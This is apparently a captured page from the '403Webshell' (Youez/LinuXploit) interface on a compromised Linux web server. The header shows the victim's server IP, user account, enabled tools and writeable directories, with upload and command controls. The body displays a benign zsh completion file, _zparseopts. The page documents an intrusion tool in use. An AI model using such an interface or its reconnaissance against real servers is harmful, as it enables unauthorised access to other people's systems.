403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/zsh/functions/Completion/Zsh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/functions/Completion/Zsh/_zparseopts
#compdef zparseopts

local ret=1
local -a context line state state_descr alts opts
local -A opt_args

_arguments -A '-*' : \
  '-a+[specify array in which to store parsed options]:array:_parameters -g "*array*~*readonly*"' \
  '-A+[specify association in which to store parsed options]:association:_parameters -g "*association*~*readonly*"' \
  '-D[remove parsed options from positional parameters]' \
  "-E[don't stop parsing at first parameter not described by specs]" \
  '-F[abort parsing and print error at first option-like parameter not described by specs]' \
  '-K[preserve contents of arrays/associations when specs are not matched]' \
  '-M[enable mapping among equivalent options with opt1=opt2 spec form]' \
  '(-)-[end zparseopts options; specs follow]' \
  '*: :->spec' \
&& ret=0

[[ $state == spec ]] &&
if compset -P '*='; then
  alts=()
  (( $+opt_args[-M] )) && {
    opts=( $line )
    [[ $opts[1] == (-|--) ]] && shift opts
    opts=( ${(@)opts%%(+|)(:|:-|::|)(=*|)} )
    opts=( ${(@)opts:#${words[CURRENT]%%=*}} )
    alts+=( "spec-opt-names:spec option name:(${(j< >)${(@q+)opts}})" )
  }
  alts+=( 'parameters:array:_parameters -g "*array*~*readonly*"' )
  _alternative $alts && ret=0
else
  # Not great, but close enough for now
  compset -S '=*'
  _message -e spec-opts 'spec option (name[+][:|:-|::])' && ret=0
fi

return ret

Youez - 2016 - github.com/yon3zu
LinuXploit